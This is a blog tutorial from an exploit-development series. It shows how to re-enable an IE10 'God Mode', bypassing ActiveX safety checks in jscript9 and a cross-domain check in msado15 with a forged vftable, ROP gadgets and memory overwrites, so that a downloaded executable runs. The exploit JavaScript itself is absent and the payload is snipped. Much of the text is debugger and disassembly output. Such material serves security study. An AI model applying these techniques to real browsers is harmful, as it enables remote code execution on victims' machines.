Fixing the God Mode

Before doing something radical, let’s try to find out where the crash is. To do this, let’s add a few alerts:

Now reload the page in IE (by going to 127.0.0.1), change the length of the Int32Array at 0xc0af000 and see what happens. You should see all the three alert box from 1 to 3 and then the crash. Therefore, we can conclude that the crash happens when we execute the following instructions:

Why isn’t there any problem with WScript.shell?

A difference should come to mind: ADODB.Stream was disabled by Microsoft! Maybe something happens in jscript9!ScriptSite::CreateObjectFromProgID… Let’s see.

Repeat the process and this time, when the alert box with 3 appears, put a breakpoint on jscript9!ScriptSite::CreateObjectFromProgID. Let’s do some stepping inside CreateObjectFromProgID:

jscript9!ScriptSite::CreateObjectFromProgID:
04f3becb 8bff            mov     edi,edi
04f3becd 55              push    ebp
04f3bece 8bec            mov     ebp,esp
04f3bed0 83ec34          sub     esp,34h
04f3bed3 a144630f05      mov     eax,dword ptr [jscript9!__security_cookie (050f6344)]
04f3bed8 33c5            xor     eax,ebp
04f3beda 8945fc          mov     dword ptr [ebp-4],eax
04f3bedd 53              push    ebx
04f3bede 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]
04f3bee1 56              push    esi
04f3bee2 33c0            xor     eax,eax
04f3bee4 57              push    edi
04f3bee5 8b7d08          mov     edi,dword ptr [ebp+8]
04f3bee8 8bf2            mov     esi,edx
04f3beea 8975dc          mov     dword ptr [ebp-24h],esi
04f3beed 8945cc          mov     dword ptr [ebp-34h],eax
04f3bef0 897dd0          mov     dword ptr [ebp-30h],edi
04f3bef3 8945d4          mov     dword ptr [ebp-2Ch],eax
04f3bef6 8945d8          mov     dword ptr [ebp-28h],eax
04f3bef9 8945e8          mov     dword ptr [ebp-18h],eax
04f3befc 85ff            test    edi,edi
04f3befe 0f85e26a1600    jne     jscript9!memset+0xf390 (050a29e6)
04f3bf04 8b4604          mov     eax,dword ptr [esi+4]
04f3bf07 e8d5000000      call    jscript9!ScriptEngine::InSafeMode (04f3bfe1)
04f3bf0c 85c0            test    eax,eax
04f3bf0e 8d45ec          lea     eax,[ebp-14h]
04f3bf11 50              push    eax
04f3bf12 51              push    ecx
04f3bf13 0f84d86a1600    je      jscript9!memset+0xf39b (050a29f1)
04f3bf19 ff1508400e05    call    dword ptr [jscript9!_imp__CLSIDFromProgID (050e4008)]
04f3bf1f 85c0            test    eax,eax
04f3bf21 0f88e867fcff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f)
04f3bf27 8d45ec          lea     eax,[ebp-14h]
04f3bf2a 50              push    eax
04f3bf2b 8b4604          mov     eax,dword ptr [esi+4] ds:002b:02facc44=02f8c480
04f3bf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04f3c315)   <------------------
04f3bf33 85c0            test    eax,eax       <------------------ EAX = 0
04f3bf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f)  <----- je taken!
.
.
.
04f0270f bead010a80      mov     esi,800A01ADh
04f02714 e99d980300      jmp     jscript9!ScriptSite::CreateObjectFromProgID+0xe3 (04f3bfb6)
.
.
.
04f3bfb6 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:002b:03feb55c=91c70f95
04f3bfb9 5f              pop     edi
04f3bfba 8bc6            mov     eax,esi
04f3bfbc 5e              pop     esi
04f3bfbd 33cd            xor     ecx,ebp
04f3bfbf 5b              pop     ebx
04f3bfc0 e87953f2ff      call    jscript9!__security_check_cookie (04e6133e)
04f3bfc5 c9              leave
04f3bfc6 c20800          ret     8

As we can see, CanCreateObject returns 0 and our familiar CanObjectRun is not even called. What happens if we force CanCreateObject to return true (EAX = 1)? Try to repeat the whole process, but this time, right after the call to CanCreateObject, set EAX to 1 (use r eax=1). Remember that you need to do that twice because we create two ADODB.Stream objects.

Now the alert box with 4 appears but we have a crash after we close it. Why don’t we try to keep the God Mode enabled only when strictly necessary? Let’s change the code as follows:

Let’s try again to load the page and set EAX to 1 right after CanCreateObject. This time, let’s put the breakpoint directly on CanCreateObject:

bp jscript9!ScriptEngine::CanCreateObject

When the breakpoint is triggered, hit Shift+F11 and then set EAX to 1 (the first time it’s already 1). OK, now there is no crash but the calculator doesn’t appear. If you repeat the process with the Developer Tools enabled, you should see the following error:

pic_37
Let’s leave that error for later. For now we should be happy that we (almost) solved the problem with the God Mode. We still need to modify the behavior of CanCreateObject somehow so that it always returns true. Again, repeat the whole process and put a breakpoint on CanCreateObject. When the breakpoint is triggered, we can begin to examine CanCreateObject:

jscript9!ScriptEngine::CanCreateObject:
04dcc315 8bff            mov     edi,edi
04dcc317 55              push    ebp
04dcc318 8bec            mov     ebp,esp
04dcc31a 51              push    ecx
04dcc31b 51              push    ecx
04dcc31c 57              push    edi
04dcc31d 8bf8            mov     edi,eax
04dcc31f f687e401000008  test    byte ptr [edi+1E4h],8
04dcc326 743d            je      jscript9!ScriptEngine::CanCreateObject+0x50 (04dcc365)
04dcc328 8d45fc          lea     eax,[ebp-4]
04dcc32b 50              push    eax
04dcc32c e842000000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (04dcc373)
04dcc331 85c0            test    eax,eax
04dcc333 7835            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a) [br=0]
04dcc335 8b45fc          mov     eax,dword ptr [ebp-4]
04dcc338 8b08            mov     ecx,dword ptr [eax]        <------------------ ecx = object.vftptr
04dcc33a 6a00            push    0
04dcc33c 6a00            push    0
04dcc33e 6a10            push    10h
04dcc340 ff7508          push    dword ptr [ebp+8]
04dcc343 8d55f8          lea     edx,[ebp-8]
04dcc346 6a04            push    4
04dcc348 52              push    edx                                            +---------------------
04dcc349 6800120000      push    1200h                                          |
04dcc34e 50              push    eax                                            v
04dcc34f ff5110          call    dword ptr [ecx+10h]  ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}
04dcc352 85c0            test    eax,eax
04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh
04dcc35a 6a00            push    0
04dcc35c 58              pop     eax
04dcc35d 0f94c0          sete    al
04dcc360 5f              pop     edi
04dcc361 c9              leave
04dcc362 c20400          ret     4

Look at the virtual call at 04dcc34f: we can use the same trick we used with CanObjectRun! As before, ECX points to a vftable:

0:007> dds ecx
6ac755e0  6a0b2681 MSHTML!PlainQueryInterface
6ac755e4  6a0b25a1 MSHTML!CAPProcessor::AddRef
6ac755e8  6a08609d MSHTML!PlainRelease
6ac755ec  6a078eb5 MSHTML!TearoffThunk3
6ac755f0  6a25604a MSHTML!TearoffThunk4           <----------- we need to modify this for CanCreateObject
6ac755f4  04dcc164 jscript9!ScriptEngine::CanObjectRun+0xaf   <---------- this is our fix for CanObjectRun!
6ac755f8  6a129a77 MSHTML!TearoffThunk6
6ac755fc  6a201a73 MSHTML!TearoffThunk7
6ac75600  6a12770c MSHTML!TearoffThunk8
6ac75604  6a12b22c MSHTML!TearoffThunk9
6ac75608  6a12b1e3 MSHTML!TearoffThunk10
6ac7560c  6a257db5 MSHTML!TearoffThunk11
6ac75610  6a12b2b8 MSHTML!TearoffThunk12
6ac75614  6a332a3d MSHTML!TearoffThunk13
6ac75618  6a242719 MSHTML!TearoffThunk14
6ac7561c  6a254879 MSHTML!TearoffThunk15
6ac75620  6a12b637 MSHTML!TearoffThunk16
6ac75624  6a131bf3 MSHTML!TearoffThunk17
6ac75628  6a129649 MSHTML!TearoffThunk18
6ac7562c  6a4a8422 MSHTML!TearoffThunk19
6ac75630  6a58bc4a MSHTML!TearoffThunk20
6ac75634  6a1316d9 MSHTML!TearoffThunk21
6ac75638  6a2e7b23 MSHTML!TearoffThunk22
6ac7563c  6a212734 MSHTML!TearoffThunk23
6ac75640  6a2e75ed MSHTML!TearoffThunk24
6ac75644  6a4c28c5 MSHTML!TearoffThunk25
6ac75648  6a3c5a7d MSHTML!TearoffThunk26
6ac7564c  6a3a6310 MSHTML!TearoffThunk27
6ac75650  6a3bff2d MSHTML!TearoffThunk28
6ac75654  6a3aa803 MSHTML!TearoffThunk29
6ac75658  6a3cd81a MSHTML!TearoffThunk30
6ac7565c  6a223f19 MSHTML!TearoffThunk31

As you can see, that’s the same vftable we modified for CanObjectRun. Now we need to modify [ecx+10h] for CanCreateObject. We might try to overwrite [ecx+10h] with the address of the epilog of CanCreateObject, but it won’t work. The problem is that we need to zero out EDI before returning from CanCreateObject. Here’s the code right after the call to CanCreateObject:

04ebbf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04ebc315)
04ebbf33 85c0            test    eax,eax
04ebbf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04e8270f)
04ebbf3b 6a05            push    5
04ebbf3d 58              pop     eax
04ebbf3e 85ff            test    edi,edi
04ebbf40 0f85b66a1600    jne     jscript9!memset+0xf3a6 (050229fc)      <----------------- taken if EDI != 0

If the jne is taken, CreateObjectFromProgID and CreateActiveXObject will fail.

I looked for hours but I couldn’t find any suitable code to call. Something like

would be perfect, but it just doesn’t exist. I looked for any variations I could think of, but to no avail. I also looked for

and variations. This code would mimic a call to the original virtual function and clear [ebp-8]. This way, CanCreateObject would return true:

04dcc338 8b08            mov     ecx,dword ptr [eax]
04dcc33a 6a00            push    0
04dcc33c 6a00            push    0
04dcc33e 6a10            push    10h
04dcc340 ff7508          push    dword ptr [ebp+8]
04dcc343 8d55f8          lea     edx,[ebp-8]      <---------- edx = ebp-8
04dcc346 6a04            push    4
04dcc348 52              push    edx
04dcc349 6800120000      push    1200h
04dcc34e 50              push    eax
04dcc34f ff5110          call    dword ptr [ecx+10h]  ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}
04dcc352 85c0            test    eax,eax
04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh      <-------- if [ebp-8] == 0, then ...
04dcc35a 6a00            push    0
04dcc35c 58              pop     eax
04dcc35d 0f94c0          sete    al                 <-------- ... then EAX = 1
04dcc360 5f              pop     edi                <-------- restores EDI (it was 0)
04dcc361 c9              leave
04dcc362 c20400          ret     4

Note that this would also clear EDI, because EDI was 0 when CanCreateObject was called.

Next, I tried to do some ROP. I looked for something like this:

Unfortunately, I couldn’t find anything similar. If only we could control some other register beside ECX

Well, it turns out that we can control EAX and xchg eax, esp gadgets are certainly more common than xchg ecx, esp gadgets.

Here’s the schema we’re going to use:

pic_38b
We already know that CanCreateObject and CanObjectRun call virtual functions from the same VFTable. You can easily verify that not only do they call virtual functions from the same VFTable, but they call them on the same object. This is also shown in the scheme above.

Let’s look again at the relevant code in CanCreateObject:

04dcc338 8b08            mov     ecx,dword ptr [eax]  <----------- we control EAX, which points to "object"
04dcc33a 6a00            push    0            <----------- now, ECX = object."vftable ptr"
04dcc33c 6a00            push    0
04dcc33e 6a10            push    10h
04dcc340 ff7508          push    dword ptr [ebp+8]
04dcc343 8d55f8          lea     edx,[ebp-8]
04dcc346 6a04            push    4
04dcc348 52              push    edx
04dcc349 6800120000      push    1200h
04dcc34e 50              push    eax
04dcc34f ff5110          call    dword ptr [ecx+10h]  <----------- call to gadget 1 (in the picture)
04dcc352 85c0            test    eax,eax
04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh
04dcc35a 6a00            push    0
04dcc35c 58              pop     eax
04dcc35d 0f94c0          sete    al
04dcc360 5f              pop     edi
04dcc361 c9              leave        <----------- this is gadget 4
04dcc362 c20400          ret     4

The first gadget, when called, make ESP point to object+4 and returns to gadget 2. After gadget 2 and 3, EDI is 0 and EAX non-zero. Gadget 4 restores ESP and returns from CanCreateObject.

Here’s the javascript code to set up object and vftable like in the picture above:

The code should be easy to understand. We create object (new_object) and vftable (new_vftable) by using two Int32Arrays (in particular, their raw buffers) and make object point to vftable. Note that our vftable is a modified copy of the old vftable. Maybe there’s no need to make a copy of the old vftable because only the two modified fields (at offsets 0x10 and 0x14) are used, but that doesn’t hurt.

We can now enable the God Mode by making EAX point to our object and disable the God Mode by making EAX point to the original object.

Controlling EAX

To see if we can control EAX, we need to find out where the value of EAX comes from. I claimed that EAX can be controlled and showed how we can exploit this to do some ROP. Now it’s time for me to show you exactly how EAX can be controlled. In reality, this should be the first thing you do. First you determine if you can control something and only then write code for it.

It’s certainly possible to do the kind of analysis required for this task in WinDbg, but IDA Pro is way better for this. If you don’t own a copy of IDA Pro, download the free version (link).

IDA is a very smart disassembler. Its main feature is that it’s interactive, that is, once IDA has finished disassembling the code, you can edit and manipulate the result. For instance, you can correct mistakes made by IDA, add comments, define structures, change names, etc…

If you want a career in Malware Analysis or Exploit Development, you should get really comfortable with IDA and buy the Pro version.

CanCreateObject is in jscript9. Let’s find out the path of this module in WinDbg:

0:015> lmf m jscript9
start    end        module name
71c00000 71ec6000   jscript9 C:\Windows\SysWOW64\jscript9.dll

Open jscript9.dll in IDA and, if needed, specify the path for the database created by IDA. When asked, allow IDA to download symbols for jscript9.dll. Press CTRL+P (Jump to function), click on Search and enter CanCreateObject. Now CanCreateObject should be selected like shown in the following picture:

pic_39
After you double click on CanCreateObject you should see the graph of the function CanCreateObject. If you see linear code, hit the spacebar. To rename a symbol, click on it and press n. IDA has a very useful feature: when some text is selected, all occurrences of that text are highlighted. This is useful to track things down.

Have a look at the following picture:

pic_40
It’s quite clear that [ebp+object] (note that I renamed var_4 to object) is modified inside ?GetSiteHostSecurityManagerNoRef. Let’s have a look at that function:

pic_41
As we can see, our variable object is overwritten with [edi+1F0h]. We also see that if [edi+1F0h] is 0, it’s initialized. We need to keep this fact in mind for later. Now that we know that we need to track edi, let’s look again at CanCreateObject:

pic_42
To see what code calls CanCreateObject, click somewhere where indicated in the picture above and press CTRL+X. Then select the only function shown. We’re now in CreateObjectFromProgID:

pic_43
This is what we’ve learned so far:

esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]

Now we need to go to the caller of CreateObjectFromProgID and follow EDX. To do that, click somewhere on the signature of CreateObjectFromProgID and press CTRL+X. You should see two options: of course, select CreateActiveXObject. Now we’re inside CreateActiveXObject:

pic_44
Let’s update our little schema:

esi = arg0
edx = esi
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]

Now we need to follow the first argument passed to CreateActiveXObject. As before, let’s go to the code which calls CreateActiveXObject. Look at the following picture (note that I grouped some nodes together to make the graph more compact):

pic_45
After this, the complete schema is the following:

eax = arg_0
eax = [eax+28h]
edx = eax
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]

Now we must follow the first argument passed to JavascriptActiveXObject::NewInstance. When we click on its signature and press CTRL+X we’re shown references which doesn’t look familiar. It’s time to go back in WinDbg.

Open in IE a page with this code:

Put a breakpoint on CanCreateObject:

bp jscript9!ScriptEngine::CanCreateObject

When the breakpoint is triggered, let’s step out of the current function by pressing Shift+F11, until we are in jscript9!Js::InterpreterStackFrame::NewScObject_Helper. You’ll see the following:

045725c4 890c82          mov     dword ptr [edx+eax*4],ecx
045725c7 40              inc     eax
045725c8 3bc6            cmp     eax,esi
045725ca 72f5            jb      jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xc2 (045725c1)
045725cc ff75ec          push    dword ptr [ebp-14h]
045725cf ff75e8          push    dword ptr [ebp-18h]
045725d2 ff55e4          call    dword ptr [ebp-1Ch]
045725d5 8b65e0          mov     esp,dword ptr [ebp-20h] ss:002b:03a1bc00=03a1bbe4   <--------- we're here!
045725d8 8945d8          mov     dword ptr [ebp-28h],eax
045725db 8b4304          mov     eax,dword ptr [ebx+4]
045725de 83380d          cmp     dword ptr [eax],0Dh

We can see why IDA wasn’t able to track this call: it’s a dynamic call, meaning that the destination of the call is not static. Let’s examine the first argument:

0:007> dd poi(ebp-18)
032e1150  045e2b70 03359ac0 03355520 00000003
032e1160  00000000 ffffffff 047c4de4 047c5100
032e1170  00000037 00000000 02cc4538 00000000
032e1180  0453babc 00000000 00000001 00000000
032e1190  00000000 032f5410 00000004 00000000
032e11a0  00000000 00000000 00000000 00000000
032e11b0  04533600 033598c0 033554e0 00000003
032e11c0  00000000 ffffffff 047c4de4 047c5660

The first value might be a pointer to a vftable. Let’s see:

0:007> ln 045e2b70
(045e2b70)   jscript9!JavascriptActiveXFunction::`vftable'   |  (04534218)   jscript9!Js::JavascriptSafeArrayObject::`vftable'
Exact matches:
    jscript9!JavascriptActiveXFunction::`vftable' = <no type information>

And indeed, we’re right! More important, JavascriptActiveXFunction is the function ActiveXObject we use to create ActiveX objects! That’s our starting point. So the complete schema is the following:

X = address of ActiveXObject
X = [X+28h]
X = [X+4]
object = [X+1f0h]

Let’s verify that our findings are correct. To do so, use the following javascript code:

Open it in IE and in WinDbg examine the memory at the address 0xadd0000 (or higher, if you want). The memory should be filled with the address of ActiveXObject. In my case, the address is 03411150. Now let’s reach the address of object:

0:002> ? poi(03411150+28)
Evaluate expression: 51132616 = 030c38c8
0:002> ? poi(030c38c8+4)
Evaluate expression: 51075360 = 030b5920
0:002> ? poi(030b5920+1f0)
Evaluate expression: 0 = 00000000

The address is 0. Why? Look again at the following picture:

pic_41
So, to initialize the pointer to object, we need to call CanCreateObject, i.e. we need to create an ActiveX object. Let’s change the javascript code this way:

Repeat the process and try again to get the address of the object:

0:005> ? poi(03411150+28)
Evaluate expression: 51459608 = 03113618
0:005> ? poi(03113618+4)
Evaluate expression: 51075360 = 030b5920
0:005> ? poi(030b5920+1f0)
Evaluate expression: 6152384 = 005de0c0
0:005> dd 005de0c0
005de0c0  6d0f55e0 00000001 6c4d7408 00589620
005de0d0  6c532ac0 00000000 00000000 00000000
005de0e0  00000005 00000000 3fd6264b 8c000000
005de0f0  005579b8 005de180 005579b8 5e6c858f
005de100  47600e22 33eafe9a 7371b617 005a0a08
005de110  00000000 00000000 3fd62675 8c000000
005de120  005882d0 005579e8 00556e00 5e6c858f
005de130  47600e22 33eafe9a 7371b617 005ce140
0:005> ln 6d0f55e0
(6d0f55e0)   MSHTML!s_apfnPlainTearoffVtable   |  (6d0f5ce8)   MSHTML!s_apfnEmbeddedDocTearoffVtable
Exact matches:
    MSHTML!s_apfnPlainTearoffVtable = <no type information>

Perfect: now it works!

Now we can complete our javascript code:

Note that we can use the “old” God Mode to create WScript.shell without showing the warning message.

Here’s the full code:

I snipped runcalc. You can download the full code from here: code2.

If you open the html file in IE without using SimpleServer, everything should work fine. But if you use SimpleServer and open the page by going to 127.0.0.1 in IE, then it doesn’t work. We’ve seen this error message before:

pic_35

Crossing Domains

The line of code which throws the error is the one indicated here:

The error message is “SCRIPT3716: Safety settings on this computer prohibit accessing a data source on another domain.“. So, let’s reload our html page using SimpleServer, change the length of the Int32Array and let the code throw the error. We note that some additional modules were loaded:

ModLoad: 0eb50000 0eb71000   C:\Windows\SysWOW64\wshom.ocx
ModLoad: 749d0000 749e2000   C:\Windows\SysWOW64\MPR.dll
ModLoad: 0eb80000 0ebaa000   C:\Windows\SysWOW64\ScrRun.dll
ModLoad: 0ebb0000 0ec0f000   C:\Windows\SysWOW64\SXS.DLL
ModLoad: 6e330000 6e429000   C:\Program Files (x86)\Common Files\System\ado\msado15.dll   <-------------
ModLoad: 72f00000 72f1f000   C:\Windows\SysWOW64\MSDART.DLL
ModLoad: 6e570000 6e644000   C:\Program Files (x86)\Common Files\System\Ole DB\oledb32.dll
ModLoad: 74700000 74717000   C:\Windows\SysWOW64\bcrypt.dll
ModLoad: 72150000 72164000   C:\Program Files (x86)\Common Files\System\Ole DB\OLEDB32R.DLL
ModLoad: 738c0000 738c2000   C:\Program Files (x86)\Common Files\System\ado\msader15.dll   <-------------
(15bc.398): C++ EH exception - code e06d7363 (first chance)
(15bc.398): C++ EH exception - code e06d7363 (first chance)

Two modules look particularly interesting: msado15.dll and msader15.dll. They’re located in the directory ado. It doesn’t take a genius to understand, or at least suspect, that those modules are related to ADODB.

Let’s see if we can find a function named SaveToFile in one of those two modules:

0:004> x msad*!*savetofile*
6e3e9ded          msado15!CStream::SaveToFile (<no parameter info>)
6e3ccf19          msado15!CRecordset::SaveToFile (<no parameter info>)

The first function seems to be what we’re looking for. Let’s put a breakpoint on it and reload the page. As we hoped, the execution breaks on msado15!CStream::SaveToFile. The name of the function suggests that the module is written in C++ and that SaveToFile is a method of the class CStream. ESI should point to an object of that class:

0:007> dd esi
0edbb328  6e36fd28 6e36fd00 6e36fcf0 6e33acd8
0edbb338  00000004 00000000 00000000 00000000
0edbb348  00000000 00000000 00000000 6e36fce0
0edbb358  6e33acc0 6e36fccc 00000000 00000904
0edbb368  00000001 04e4c2bc 00000000 6e36fc94
0edbb378  0edbb3b8 00000000 0edbb490 00000000
0edbb388  00000001 ffffffff 00000000 00000000
0edbb398  00000007 000004b0 00000000 00000000
0:007> ln poi(esi)
(6e36fd28)   msado15!ATL::CComObject<CStream>::`vftable'   |  (6e36fdb8)   msado15!`CStream::_GetEntries'::`2'::_entries
Exact matches:
    msado15!ATL::CComObject<CStream>::`vftable' = <no type information>

OK, it seems we’re on the right track.

Now let’s step through SaveToFile to find out where it fails. During our tracing we come across a very interesting call:

6e3ea0a9 0f8496000000    je      msado15!CStream::SaveToFile+0x358 (6e3ea145)
6e3ea0af 50              push    eax
6e3ea0b0 53              push    ebx
6e3ea0b1 e88f940000      call    msado15!SecurityCheck (6e3f3545)     <-------------------
6e3ea0b6 83c408          add     esp,8
6e3ea0b9 85c0            test    eax,eax
6e3ea0bb 0f8d84000000    jge     msado15!CStream::SaveToFile+0x358 (6e3ea145)

SecurityCheck takes two parameters. Let’s start by examining the first one:

0:007> dd eax
04e4c2bc  00740068 00700074 002f003a 0031002f
04e4c2cc  00370032 0030002e 0030002e 0031002e
04e4c2dc  0000002f 00650067 00000000 6ff81c09
04e4c2ec  8c000000 000000e4 00000000 00000000
04e4c2fc  0024d46c 0024d46c 0024cff4 00000013
04e4c30c  00000000 0000ffff 0c000001 00000000
04e4c31c  00000000 6ff81c30 88000000 00000001
04e4c32c  0024eee4 00000000 6d74682f 61202c6c

Mmm… that looks like a Unicode string. Let’s see if we’re right:

0:007> du eax
04e4c2bc  "http://127.0.0.1/"

That’s the URL of the page! What about ebx? Let’s see:

0:007> dd ebx
001d30c4  003a0043 0055005c 00650073 00730072
001d30d4  0067005c 006e0061 00610064 0066006c
001d30e4  0041005c 00700070 00610044 00610074
001d30f4  004c005c 0063006f 006c0061 0054005c
001d3104  006d0065 005c0070 006f004c 005c0077
001d3114  00750072 0063006e 006c0061 002e0063
001d3124  00780065 00000065 00000000 00000000
001d3134  40080008 00000101 0075006f 00630072
0:007> du ebx
001d30c4  "C:\Users\gandalf\AppData\Local\T"
001d3104  "emp\Low\runcalc.exe"

That’s the full path of the file we’re trying to create. Is it possible that those two URLs/paths are related to the domains the error message is referring to? Maybe the two domains are http://127.0.0.1/ and C:\.

Probably, SecurityCheck checks that the two arguments represent the same domain.

Let’s see what happens if we modify the first parameter:

0:007> ezu @eax "C:\\"
0:007> du @eax
04e4c2bc  "C:\"

The command ezu is used to (e)dit a (z)ero-terminated (u)nicode string. Now that we modified the second argument, let’s resume execution and see what happens.

The calculator pops up!!! Yeah!!!

Now we need a way to do the same from javascript. Is it possible? The best way to find out is to disassemble msado15.dll with IDA. Once in IDA, search for the function SecurityCheck (CTRL+P and click on Search), then click on the signature of SecurityCheck, press CTRL+X and double click on CStream::SaveToFile. Function SaveToFile is huge, but let’s not worry too much about it. We just need to analyze a very small portion of it. Let’s start by following the second argument:

pic_46
As we can see, EAX comes from [ESI+44h]. ESI should be the pointer this, which points to the current CStream object, but let’s make sure of it. In order to analyze the graph more comfortably, we can group all the nodes which are below the node with the call to SecurityCheck. To do so, zoom out by holding down CTRL while rotating the mouse wheel, select the nodes by holding down CTRL and using the mouse left button, and, finally, right click and select Group nodes. Here’s the reduced graph:

pic_47
It’s quite clear that ESI is indeed the pointer this. This is good because the variable bStream in our javascript probably points to the same object. Let’s find out if we’re right. To do so, let’s leak bStream by modifying our javascript code as follows:

Load the page in IE using SimpleServer and in WinDbg put a breakpoint on SaveToFile:

bm msado15!CStream::SaveToFile

The alert box will pop up with the address of bStream. In my case, the address is 3663f40h. After we close the alert box, the breakpoint is triggered. The address of the CStream is ESI, which in my case is 0e8cb328h. Let’s examine the memory at the address 3663f40h (our bStream):

0:007> dd 3663f40h
03663f40  71bb34c8 0e069a00 00000000 0e5db030
03663f50  05a30f50 03663f14 032fafd4 00000000
03663f60  71c69a44 00000008 00000009 00000000
03663f70  0e8cb248 00000000 00000000 00000000
03663f80  71c69a44 00000008 00000009 00000000
03663f90  0e8cb328 00000000 00000000 00000000    <------------- ptr to CStream!
03663fa0  71c69a44 00000008 00000009 00000000
03663fb0  0e8cb248 00000000 00000000 00000000

We can see that at offset 0x50 we have the pointer to the object CStream whose SaveToFile method is called in msado15.dll. Let’s see if we can reach the string http://127.0.0.1, which is the one we’d like to modify:

0:007> ? poi(3663f40+50)
Evaluate expression: 244101928 = 0e8cb328
0:007> du poi(0e8cb328+44)
04e5ff14  "http://127.0.0.1/"

Perfect!

Now we must determine the exact bytes we want to overwrite the original string with. Here’s an easy way of doing that:

0:007> ezu 04e5ff14 "C:\\"
0:007> dd 04e5ff14
04e5ff14  003a0043 0000005c 002f003a 0031002f
04e5ff24  00370032 0030002e 0030002e 0031002e
04e5ff34  0000002f 00000000 00000000 58e7b7b9
04e5ff44  8e000000 00000000 bf26faff 001a8001
04e5ff54  00784700 00440041 0044004f 002e0042
04e5ff64  00740053 00650072 006d0061 df6c0000
04e5ff74  0000027d 58e7b7be 8c000000 00000000
04e5ff84  00c6d95d 001c8001 00784300 00530057

So we need to overwrite the string with 003a0043 0000005c.

Change the code as follows:

Load the page in IE and, finally, everything should work fine!

Here’s the complete code for your convenience:

As before, I snipped runcalc. You can download the full code from here: code3.

Prev Part | Next Part

The following two tabs change content below.

Massimiliano Tomassoli

Computer scientist, software developer, reverse engineer and student of computer security (+ piano player & music composer)

Latest posts by Massimiliano Tomassoli (see all)

Leave a Reply

2 Comments on "IE10: God Mode (2)"

Notify of

Sort by:   newest | oldest | most voted
Member
hidehamu
1 year 8 months ago

Hi, Massimiliano.
I’m write now from Japan.

This is a very good article. Thank you very much.

But it was difficult to understand a God mode for me.
I think that if just running shellcode from Use-After-Free bug, it’s easy.
So, I wanted article that explain how to run shellcode from Use-After-Free bug.

wpDiscuz